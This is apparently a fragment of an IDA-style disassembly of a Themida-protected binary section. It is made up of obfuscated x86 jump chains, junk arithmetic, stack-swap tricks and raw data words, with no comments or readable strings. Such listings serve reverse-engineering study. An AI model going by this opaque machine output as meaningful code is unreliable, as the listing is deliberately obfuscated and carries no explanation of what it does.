loc_55BA0D:				; CODE XREF: Themida_:0055C203j
		pop	edi
		jmp	loc_55E3C7
; ---------------------------------------------------------------------------


loc_55BA13:				; CODE XREF: Themida_:0055550Dj
		pop	ebp
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		jmp	loc_551BD5
; ---------------------------------------------------------------------------


loc_55BA22:				; CODE XREF: Themida_:00560AC0j
		inc	ebx
		xor	ebx, 0DD0AF3C6h
		mov	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 7A992129h
		and	esi, eax
		pop	eax
		xor	esi, 495315F6h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 2EDA2116h
		add	ebx, 2FD91D86h
		jmp	loc_556F6E
; ---------------------------------------------------------------------------
		dd 0A3E9F101h, 83FFFF4Fh, 0BE904C4h, 81FFFFDFh,	0F4028BE3h
		dd 4EBC13Eh, 50C8B951h,	0CB0941EAh, 7E3C159h, 681CE9h
		dd 243C8B00h, 4C481h, 732D0000h, 0E92E257Bh, 0FFFF4EBAh
; ---------------------------------------------------------------------------


loc_55BA90:				; CODE XREF: Themida_:00553822j
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_5556B6
; ---------------------------------------------------------------------------
		dd 6F8568h, 243C8900h, 996EE957h, 0E951FFFFh, 0FFFF52AFh
		dd 5585450h, 4,	0E904E883h, 0FFFF8FD2h,	0BA241489h, 5F2D37AAh
		dd 7377E281h, 0E5E979D8h, 0BBFFFFD9h, 0A240C17h, 815BD901h
		dd 347826E9h, 0E9F92955h, 0FFFF8F96h, 40AEF81h,	0CF290B2Ch
		dd 40AC781h, 0F7590B2Ch, 0D8BE56DFh, 815EF67Fh,	8B89F8C6h
		dd 5E0E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BB16:				; CODE XREF: Themida_:0054F12Dj
		mov	[esp], ecx
		jmp	loc_562313
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D2682404h, 8900006Ch, 0E682404h, 8900000Eh,	4812424h
		dd 424h, 0B4685800h, 89000004h,	0B8502414h, 2E5F3E1Eh
		dd 753A3548h, 0C28950CCh, 4EC8158h, 89000000h, 14F72414h
		dd 24148B24h, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFD401h
; ---------------------------------------------------------------------------


loc_55BB74:				; CODE XREF: Themida_:0055908Dj
		mov	eax, 5C3AC06Eh
		jmp	loc_55A52B
; ---------------------------------------------------------------------------
		dw 50B8h
		dd 2D138523h, 0FFFFFFFFh, 85234F2Dh, 0FFC70113h, 48B2434h
		dd 751EE924h, 0C681FFFFh, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55948A
; ---------------------------------------------------------------------------


loc_55BBA8:				; CODE XREF: Themida_:0055BF7Cj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55380A
; ---------------------------------------------------------------------------
		db 80h
		dd 0C180D4E9h, 0C3E98044h, 0C8BC828h, 4C48124h,	4000000h
		dd 66342C97h, 664EFD68h, 0B1240C89h, 66C82858h,	68240C8Bh
		dd 5895h, 54240489h, 69E95558h,	0E9FFFF26h, 0FFFF21B9h
		dd 5C243C87h, 405h, 269AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC1A:				; CODE XREF: Themida_:005553FBj
		push	ebp
		jmp	loc_55D5DD
; ---------------------------------------------------------------------------
		dd 0E95BD901h, 5789h
; ---------------------------------------------------------------------------


loc_55BC28:				; CODE XREF: Themida_:0054E48Cj
		sub	ebp, 35F7082Ch
		add	ecx, ebp
		jmp	loc_550C3E
; ---------------------------------------------------------------------------


loc_55BC35:				; CODE XREF: Themida_:00560326j
		add	edx, 5F016DE1h
		jmp	loc_55B35C
; ---------------------------------------------------------------------------
		dd 5D28EE81h, 8AE94D9Fh
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC4B:				; CODE XREF: Themida_:00551214j
		add	edi, 43E66E5Ah
		sub	edi, 81E5A134h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55CDE7
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4BB1184Eh, 6EC5E681h, 0EE814407h, 2C534D22h,	41CDE9h
		dd 7E95400h, 8100000Ch,	4ECh, 242C8900h, 0CB0873BDh, 5DEF211Bh
		dd 8103EFC1h, 494E40F7h, 0B8C7810Bh, 29F5DFD1h,	0D5685FFAh
		dd 89000000h, 74FF2414h, 34FF0424h, 54505A24h, 6F2AE958h
		dd 14BBFFFFh, 4B5E2141h, 0E9CB8143h, 0D16AF828h, 2CB850EBh
		dd 0E958F478h, 0FFFFE119h
; ---------------------------------------------------------------------------


loc_55BCE8:				; CODE XREF: Themida_:00559404j
		pop	ebx
		jmp	loc_557EAB
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF2C98h, 240C8B5Bh, 0ECEFE957h, 248BFFFFh, 240CD224h
		dd 0FEFDE99Ch, 0F758FFFFh, 3F7CE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD12:				; CODE XREF: Themida_:00557C89j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebx
		jmp	loc_558B9B
; ---------------------------------------------------------------------------
		db 68h
		dd 23BBh, 57241C89h, 686BD968h,	0C7815F79h, 2DD80A13h
		dd 3C0CE781h, 57E93972h, 81FFFF64h, 0C821B0E1h,	0A6E98157h
		dd 89A2A5DCh, 240C8BCDh, 4C481h, 0E9530000h, 3F4Bh, 31242C33h
		dd 2C33242Ch, 24248B24h, 34FFD389h, 89575A24h, 3543E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD7E:				; CODE XREF: Themida_:0055A430j
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_55BD95:				; CODE XREF: Themida_:00550984j
		pop	dword ptr [esp]
		push	3CBAh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_557AD8
; ---------------------------------------------------------------------------
		db 81h
		dd 5916C0CBh, 0BCC38136h, 5041C167h, 690C81B8h,	0F5093505h
		dd 0C30142A9h, 5BD80158h, 0A1E95053h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDCB:				; CODE XREF: Themida_:00556D8Ej
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_54E4D8
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 66h
		dd 1BA9540h, 0EE95AD7h,	68FFFFAAh, 2, 9DC3815Dh, 11B943Dh
		dd 9DBD55EBh, 291B943Dh, 535D5DEBh, 42474FFh, 24048F5Bh
		dd 0FF9C75E9h, 85E94DFFh, 0E9FFFFCFh, 0FFFF1FADh, 23A3B951h
		dd 0E9C14224h, 98B85006h, 48528539h, 2DBDE9h, 24148900h
		dd 2FC3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BE35:				; CODE XREF: Themida_:0055AA6Fj
		push	edi
		mov	eax, [esp]
		add	esp, 4
		push	4FAAh
		mov	[esp], ebp
		mov	ebp, eax
		mov	edx, ebp
		pop	ebp
		pop	eax
		jmp	loc_55A03D
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF1FF5h, 8EED815Bh, 8118E203h, 78EE2C5h, 5DEA8958h
		dd 0EA81DAF7h, 7F58199Ah, 2607C281h, 0D301EFBAh, 0E924148Bh
		dd 0FFFF6338h, 38B850h,	0E9500000h, 63Bh, 1492EE81h, 0FDE96410h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE97:				; CODE XREF: Themida_:0055B269j
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_55504D
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_555C7F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 4F94E95Ch, 0CE010000h, 0FF768CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BED1:				; CODE XREF: Themida_:005529C0j
		pop	esi
		sub	esi, 340B06D8h
		pop	eax
		sub	eax, 52C92F96h
		sub	eax, 110D030Fh
		add	eax, esi
		add	eax, 110D030Fh
		add	eax, 52C92F96h
		pop	esi
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_553122
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFAB17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BF09:				; CODE XREF: Themida_:0054F265j
		add	edi, 43C44C8Dh
		pop	ebx
		push	223h
		mov	[esp], edi
		push	6A21h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5618BC
; ---------------------------------------------------------------------------
		dw 9AE9h
		dd 0C1FFFF1Eh, 6EE906EAh, 81FFFFF3h, 4C6h, 4BD5500h, 1000000h
		dd 429CE9EEh, 0C7830000h, 2DDD68FFh, 34890000h,	95EBE24h
		dd 0E6C116FDh, 7AE68108h, 4E6D7534h, 728AEE81h,	0C68146A3h
		dd 0CEFE03AEh, 348BF701h, 4C48324h, 3C8BFD01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55BBA8
; ---------------------------------------------------------------------------
		db 66h,	87h, 0DEh
		dd 66D3F766h, 6653DE87h, 66689DBBh, 0C166D3F7h,	0E906EBh
		dd 81FFFF20h, 47A5E5C6h, 57760569h, 32E935A5h, 0BDFFFFDCh
		dd 4, 34FFEF01h, 0C4835D24h, 0FFE95504h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFBF:				; CODE XREF: Themida_:0054FFB4j
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_561E36
; ---------------------------------------------------------------------------
		dd 76F30558h, 295A48B5h, 58082444h, 4246C81h, 57BB25F4h
		dd 24348B5Bh, 6804C483h, 172Dh,	0B8240489h, 24h, 4442C681h
		dd 0C6817086h, 43CA1FB3h, 1F68C601h, 8900000Ch,	8BBF243Ch
		dd 0C102E373h, 555206E7h, 0A5528CBDh, 0D11E961h, 0C3810000h
		dd 1722E9C0h, 0FFFBF3E9h, 24148BFFh, 0FF04C483h, 52592434h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	0E189240Ch, 4C181h
		dd 31E90000h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C057:				; CODE XREF: Themida_:0055F667j
		add	ebp, 48E54E14h
		sub	ebp, ebx
		jmp	loc_557A83
; ---------------------------------------------------------------------------
		dd 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 66C8AF0Fh
		dd 46E99C51h, 81FFFF1Dh, 550F68E1h, 0BCC18173h,	18CBFF5h
		dd 0C7E959CAh, 29FFFF91h, 148758C2h, 0BAE95C24h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C09F:				; CODE XREF: Themida_:00558CDEj
		pop	ebp
		xor	edx, 2B894AE3h
		inc	edx
		and	edx, 25EE5761h
		add	edx, 10A85FFDh
		push	eax
		jmp	loc_551D95
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0BFh
		dd 8145D37Dh, 2C507DEAh, 90E28120h, 8166D732h, 51E5CFC2h
		dd 10A2059Ch, 0D02953D1h, 0FFD04FE9h, 240489FFh, 63D8BF57h
		dd 9FE9393Dh, 0FFFF20h,	1C8B66F8h, 53C5E924h, 0F7010000h
		dd 8124348Bh, 4C4h, 51555700h, 0DF4071B9h, 2383E93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C10E:				; CODE XREF: Themida_:00561648j
		mov	edi, 37336691h
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_56164D
; ---------------------------------------------------------------------------
		dw 2C33h
dword_55C128	dd 0C895C24h, 52595424h, 855D2FBAh, 87524A55h, 0D3F7241Ch
		dd 621AE9h, 48B6600h, 8B545024h, 0C4812404h, 4,	2603E953h
		dd 0BA520000h, 5FA53AE8h, 8105E2C1h, 1E5631CAh,	7EAC10Dh
		dd 0B7B85057h, 0E9165B76h, 0FFFFC64Ah, 8887C580h, 73E959EAh
		dd 83FFFFC8h, 248904ECh, 24048324h, 8BE95804h, 87000015h
		dd 248B2434h, 2434FF24h, 0E924148Bh, 0FFFF365Ah, 0BD555954h
		dd 20856AD5h, 6CE58145h, 81468850h, 804040EDh, 5DE90100h
		dd 0FFC8EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C1BD:				; CODE XREF: Themida_:00554EE8j
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		jmp	loc_556341
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 3Eh
		dd 0E920C86Fh, 0FFFF3958h, 24048B66h, 8904EC83h, 0E389241Ch
		dd 73AA6855h, 0C15D62F0h, 0ED8108EDh, 62F06Fh, 0FF816BE9h
		dd 0C8B66FFh, 2DC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C202:				; CODE XREF: Themida_:0055F139j
		pop	eax
		jmp	loc_55BA0D
; ---------------------------------------------------------------------------


loc_55C208:				; CODE XREF: Themida_:00558C9Cj
		push	edx
		mov	edx, 0C941140h
		jmp	loc_5616AD
; ---------------------------------------------------------------------------


loc_55C213:				; CODE XREF: Themida_:0054F789j
		add	esi, edx
		pop	edx
		jmp	loc_5543E6
; ---------------------------------------------------------------------------


loc_55C21B:				; CODE XREF: Themida_:005598D5j
		not	eax
		push	edx
		push	eax
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		xor	edx, 11731CA0h
		xor	edx, 7A9DA35Bh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5575B3
; ---------------------------------------------------------------------------


loc_55C23F:				; CODE XREF: Themida_:005603AFj
		add	esp, 4
		shr	ecx, 6
		push	68BCh
		mov	[esp], ebx
		jmp	loc_555271
; ---------------------------------------------------------------------------


loc_55C252:				; CODE XREF: Themida_:00557CDBj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		pop	esi
		jmp	loc_558B76
; ---------------------------------------------------------------------------


loc_55C279:				; CODE XREF: Themida_:0055161Ej
		add	esp, 2
		add	bl, 8Fh
		sub	bl, 3Eh
		add	bl, al
		add	bl, 3Eh
		sub	bl, 8Fh
		sub	bl, 0A7h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 0FFFF5CE9h, 242C89FFh, 4BDh,	0B87CE900h, 0E368FFFFh
		dd 8900003Eh, 0ACB9240Ch, 5372B953h, 0FF4A2CE9h, 2C483FFh
		dd 6EE9D828h, 83FFFFE1h, 0BE5604C4h, 2,	0FF7472E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C2D5:				; CODE XREF: Themida_:00550EF3j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		not	eax
		xor	[esp], eax
		jmp	loc_556BBE
; ---------------------------------------------------------------------------
		dd 0DE9EF29h, 0FFFFFF65h, 835A2434h, 0C8904ECh,	22856824h
		dd 24890000h, 0EE02E924h, 0C681FFFFh, 142B5318h, 16B85058h
		dd 0E902152Bh, 0FFFFC3F8h, 4C281h, 6BE90000h, 87FFFF68h
		dd 0F7D987CAh, 87D987D3h, 0FADEE9CAh, 0B951FFFFh, 422D47C5h
		dd 0F181E1D1h, 543F7C4Bh, 0BF575156h, 7F530ED6h, 1D3FF781h
		dd 0E7812021h, 66296415h, 0CF81E7D1h, 5CEA5BBAh, 0FF9303E9h
		dd 240481FFh, 4, 7B75E95Fh, 0C281FFFFh,	4, 26855h, 0F0E90000h
		dd 57000039h, 0BA52E789h, 210282Dh, 2AEA8142h, 1021028h
		dd 729EE9D7h, 0FD01FFFFh, 8AD6E95Fh, 0E95EFFFFh, 0FFFFB1F6h
; ---------------------------------------------------------------------------


loc_55C3AC:				; CODE XREF: Themida_:0055FAA1j
		xor	edi, 0EE5F9DFBh
		sub	ebx, edi
		pop	edi
		jmp	loc_555F77
; ---------------------------------------------------------------------------
		dw 8DB1h
		dd 5159CC88h, 81E9C4B5h, 56FFFF4Dh, 2F5D93BEh, 276EE923h
		dd 1C87FFFFh, 2DB0E924h, 0D9010000h, 1A39E981h,	1C8B7C34h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFFDFF3h
		dd 0EAC0C2FEh, 9EA8004h, 34FFD728h, 0C4835A24h,	82F78004h
		dd 80A1B652h, 0E6807DE6h, 7AE68080h, 80EAC680h,	0F0283BC6h
		dd 51F8285Ah, 51660BB1h, 662414F6h, 0C0C1FE59h,	0CBE908E9h
		dd 0E9000055h, 0FFFF1985h, 6F046C04h, 5E545659h, 44B0BA52h
		dd 0E94A487Dh, 303Fh, 0E689565Dh, 0FF320AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C45D:				; CODE XREF: Themida_:0056225Fj
		sub	esp, 4
		jmp	loc_552196
; ---------------------------------------------------------------------------
		dd 0FEA2B353h, 15EB80C3h, 0F69BCB80h, 5E3C0D3h,	0FE74B151h
		dd 25F180C9h, 0FF7CD3E9h, 0E0C381FFh, 116E52Ch,	0E0BF57FBh
		dd 2916E52Ch, 0EC815FFBh, 4, 0E9241489h, 0FFFFC0E9h, 8038E580h
		dd 0E580A2F5h, 3EDC08Ch, 80AEC580h, 0EA280DC2h,	590DEA80h
		dd 8B05EA80h, 3DE9241Ch, 8BFFFF91h, 5457241Ch, 4C7815Fh
		dd 81000000h, 4C7h, 243C8700h, 5824248Bh, 0FFFFA0E9h, 0AE956FFh
		dd 68FFFF3Ah, 79F6h, 68241489h,	43CCh, 53243489h, 0FF2828E9h
		dd 24B850FFh, 0F74BFE6Bh, 0E0C140D0h, 4C930D07h, 6AE95DA7h
		dd 0BD00004Fh, 6510221Fh, 0B850D5F7h, 5BE4B39h,	825E0D1h
		dd 0C111C739h, 0BA5202E8h, 77FE5D72h, 0FFFB80E9h, 0CBE95CFFh
		dd 0B9000030h, 553F751Ah, 0C8BCE21h, 4C48124h, 4E000000h
		dd 0FFF19CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C555:				; CODE XREF: Themida_:0054FB2Bj
		push	dword ptr [esp]
		pop	eax
		push	5620h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5561F6
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9498568h, 0FFFF1F6Ch, 0B9240C89h, 4, 7E471E05h
		dd 2CD10569h, 0C8293BABh, 0AB2CD12Dh, 454B683Bh, 2C890000h
		dd 3D51BD24h, 0E9511320h, 2236h, 24048F5Ch, 0FFC08FE9h
		dd 0C3815BFFh, 1, 8808EB81h, 8153A063h,	722B2404h, 0C8B58B1h
		dd 0E90EE924h, 4666FFFFh, 0D0F68166h, 664E6627h, 0C166D6F7h
		dd 9EE904E6h, 0FFFFFFF9h, 5A042474h, 8B24048Fh,	3CD32424h
		dd 0CEE99C24h, 0D1FFFF17h, 51DFF7E7h, 9B28C7B9h, 26AEE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C606:				; CODE XREF: Themida_:0055CA76j
		mov	ecx, [esp]
		jmp	loc_557002
; ---------------------------------------------------------------------------


loc_55C60E:				; CODE XREF: Themida_:005568F8j
		push	625Fh
		mov	[esp], eax
		push	53A7h
		jmp	loc_54F348
; ---------------------------------------------------------------------------
		dd 8F0EF81h, 1BE93575h,	8BFFFFF9h, 89572404h, 4C781E7h
		dd 57000000h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 7ABA2414h
		dd 0E9291E10h, 0FFFFC84Dh, 61A668h, 48DDE900h, 35680000h
		dd 89000049h, 0C3682404h, 5819345Ah, 5CFBB951h,	0BF575B05h
		dd 29167F4Eh, 0D8CF814Fh, 812F8C55h, 3B58CDF7h,	0E9F9311Ch
		dd 0FFFF4052h
; ---------------------------------------------------------------------------


loc_55C68C:				; CODE XREF: Themida_:0055176Ej
		sub	esi, 5E1B3C13h
		pop	ebp
		jmp	loc_54FC0B
; ---------------------------------------------------------------------------
		dd 1727E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C69E:				; CODE XREF: Themida_:00551B42j
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_558E66
; ---------------------------------------------------------------------------
		db 0F7h
		dd 290592D2h, 0E9784B54h, 0FFFFEEA0h, 0E951665Bh, 0FFFF2CE0h
		dd 4C381h, 0EB810000h, 4, 0FF3BBBE9h, 90E951FFh, 81FFFFECh
		dd 0F30022F2h, 5AD00131h, 0FFCF68E9h, 5EF329FFh, 81240C8Bh
		dd 4C4h, 50FB0100h, 4A4AD6B8h, 58C3290Dh, 83243C8Bh, 0EC8304C4h
		dd 241C8904h, 42474FFh,	3395E95Bh, 8966FFFFh, 9AB5240Ch
		dd 8B66E828h, 0C481240Ch, 2, 4EC81h, 1C890000h,	0B4505224h
		dd 3042B6A2h, 2434FFE6h, 4C48158h, 50000000h, 88F58851h
		dd 8D9DE9E8h, 0EC81FFFFh, 4, 56241489h,	0D03CA7BEh, 226EE94Bh
		dd 148B0000h, 4C48324h,	8B24048Fh, 0FAE92424h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C773:				; CODE XREF: Themida_:00553DF8j
		pop	esi
		jmp	loc_55E9E0
; ---------------------------------------------------------------------------
aRsk0		db 'RéŠ0',0
		db 0
; ---------------------------------------------------------------------------


loc_55C77F:				; CODE XREF: Themida_:005595DFj
		add	ebp, 602F280Eh
		not	ebp
		neg	ebp
		jmp	loc_55D725
; ---------------------------------------------------------------------------


loc_55C78E:				; CODE XREF: Themida_:005540E2j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55140B
; ---------------------------------------------------------------------------
		dw 0E9C0h
		dd 6F54E903h, 34FFFFFFh, 0A8E95824h, 66FFFF6Fh,	343EE281h
		dd 0B8665066h, 84E97534h, 83000042h, 1C8904ECh,	0E9DBB324h
		dd 0FFFF3585h
; ---------------------------------------------------------------------------


loc_55C7CC:				; CODE XREF: Themida_:0055AD90j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFF6ADBh, 2B9h, 0BEF8100h,	1584713h, 9AE953CFh
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7EF:				; CODE XREF: Themida_:0054F082j
		add	ecx, esi
		pop	esi
		jmp	loc_562616
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4E98300h, 0E9240C87h, 0FFFF8DD7h
; ---------------------------------------------------------------------------


loc_55C808:				; CODE XREF: Themida_:0055D0CCj
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55A7C5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 0E95B2434h, 0FFFFD77Dh, 9A3881BBh, 5BDD294Eh
		dd 8904EC83h, 0E951241Ch, 0FFFFC2E5h, 36C8E952h, 0E95F0000h
		dd 0FFFF6073h
; ---------------------------------------------------------------------------


loc_55C84C:				; CODE XREF: Themida_:0055551Fj
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_55446B
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 4EC837Dh, 0E9240C89h, 0FFFF22AFh, 0E932FF64h, 0FFFFC109h
		dd 0D7C38166h, 0C3816646h, 1667B65h, 0EB8166C3h, 0BF687B65h
		dd 89000017h, 8357242Ch, 1C8904ECh, 0F0BB6624h,	280EE910h
		dd 34FF0000h, 24148B24h, 0FFC53AE9h, 0E78957FFh, 40B0E9h
		dd 2474FF00h, 81E95804h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C8B7:				; CODE XREF: Themida_:00553EE6j
		mov	ecx, 8190D2Ah
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 6AD6731Eh
		jmp	loc_550D09
; ---------------------------------------------------------------------------
		dd 1249C181h, 0C831F535h, 889E959h, 5580000h, 4, 2D30E9h
		dd 0E9575D00h, 0FFFFDABAh, 5D04C483h, 1D06E9h, 4573BE00h
		dd 64E903A8h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C903:				; CODE XREF: Themida_:0055D550j
		add	ecx, 0C1040025h
		add	esi, ecx
		jmp	loc_55E050
; ---------------------------------------------------------------------------
		dd 3124248Bh, 0AAE92404h, 81FFFF14h, 936ADCE7h,	5EFC128h
		dd 2D77EF81h, 0EF815AD8h, 4C463E76h, 0EDE9FB01h, 50FFFFD6h
		dd 4B8h, 58C50100h, 4319E9h, 8BDF8900h,	8951241Ch, 4C181E1h
		dd 83000000h, 6E904E9h,	6600003Ch, 53240C8Bh, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 3C895C24h, 34FF5424h, 243C8B24h
		dd 0FFAA2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C981:				; CODE XREF: Themida_:0055AA82j
		sub	edi, eax
		mov	eax, [esp]
		jmp	loc_557651
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B3877h, 56576824h, 1C890000h, 515B5424h, 4B9h, 8F0AE900h
		dd 0BA52FFFFh, 114A17A4h, 455AD531h, 5237E9h, 5DEA2900h
		dd 5AD9C281h, 0B8501999h, 2B51075Eh, 9344902Dh,	0CC41E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9CE:				; CODE XREF: Themida_:0054FCE0j
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54ECD3
; ---------------------------------------------------------------------------


loc_55C9DA:				; CODE XREF: Themida_:00561241j
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_551219
; ---------------------------------------------------------------------------


loc_55C9E3:				; CODE XREF: Themida_:005619F8j
		dec	dword ptr [esp]
		not	dword ptr [esp]
		jmp	loc_5557C8
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF2B83h
; ---------------------------------------------------------------------------


loc_55C9F4:				; CODE XREF: Themida_:0056289Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_560FA6
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4F0F6824h, 4890000h,	0E2C4E924h, 1C8BFFFFh, 0E7D7E924h
		dd 34FFFFFFh, 0E9555B24h, 0FFFF1694h, 0B3E95450h, 66FFFFFEh
		dd 0E9240C8Bh, 0FFFFD426h, 6F5AED81h, 5DE90D34h, 1FFFFB1h
		dd 0E977E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA46:				; CODE XREF: Themida_:0054E714j
		inc	edx
		sub	edx, 7E9001A0h
		sub	edx, 375560FAh
		jmp	loc_559199
; ---------------------------------------------------------------------------
		dd 1E98F281h, 0F28135BAh, 0DA11595h, 0FFD52FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CA69:				; CODE XREF: Themida_:0055FFD6j
		mov	esp, [esp]
		mov	[esp], esi
		sub	dword ptr [esp], 7D1E414Eh
		jmp	loc_55C606
; ---------------------------------------------------------------------------


loc_55CA7B:				; CODE XREF: Themida_:00558CFEj
		mov	[esp], ebp
		sub	dword ptr [esp], 34673B89h
		pop	dword ptr [edi+20h]
		jmp	loc_55EAE2
; ---------------------------------------------------------------------------


loc_55CA8D:				; CODE XREF: Themida_:005549A6j
		mov	eax, edi
		jmp	loc_556C7B
; ---------------------------------------------------------------------------


loc_55CA94:				; CODE XREF: Themida_:005535ECj
		push	203Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54ED4D
; ---------------------------------------------------------------------------


loc_55CAAF:				; CODE XREF: Themida_:00555CEEj
		pop	esp
		mov	[esp], edx
		mov	edx, 70250C49h
		push	edi
		push	ecx
		mov	ecx, edx
		jmp	loc_5611E8
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 4BF57h, 0FE010000h, 2434875Fh, 4C4815Ch
		dd 0E9000000h, 0FFFF4D5Dh, 4112D0Dh, 0EC835101h, 2FFFE904h
		dd 6C810000h, 673D0424h, 55E9567Eh, 5000000h, 91808656h
		dd 1DFEE9h, 4BD5500h, 55000000h, 0E80F67BDh, 0E0E95631h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB1B:				; CODE XREF: Themida_:00553ABAj
		and	edi, edx
		pop	edx
		push	ebx
		mov	ebx, 0A734B2Ah
		jmp	loc_55875B
